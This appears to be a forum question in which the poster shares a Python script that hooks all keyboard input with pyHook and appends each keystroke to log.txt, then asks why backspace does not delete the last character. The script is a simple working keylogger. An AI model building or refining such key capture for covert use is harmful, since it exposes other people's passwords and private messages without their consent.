I've got a very long script so I will sum it up.
LOG_TEXT
is where all the chars are stored and the data goes there through Key strokes, so every time a user types a key on the keyboard, it goes to LOG_TEXT
.
Eventually, the LOG_TEXT
is saved in log.txt after 20 seconds.
My problem is that when I click Back space, it doesn't delete the last char.
This is what I have been trying:
import pythoncom, pyHook, os
def OnKeyboardEvent(event):
global LOG_TEXT, LOG_FILE
LOG_TEXT = ""
LOG_FILE = open('log.txt', 'a')
if event.Ascii == 8: # If 'back space' was pressed
LOG_TEXT = LOG_TEXT[:-1] # Delete the last char
elif event.Ascii == 13 or event.Ascii == 9: # If 'Enter' was pressed
LOG_TEXT += "\n" # Drop the line
else:
LOG_TEXT += str(chr(event.Ascii)) # Adds the chars to the log
# Write to file
LOG_FILE.write(LOG_TEXT)
LOG_FILE.close()
return True
LOG_FILE = open('log.txt', 'a')
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
And also tried:
LOG_TEXT = LOG_TEXT[:-2] # Delete the last char
And:
LOG_TEXT += '\b' # Delete the last char
Any solutions/suggestions?
Thanks to the helpers :)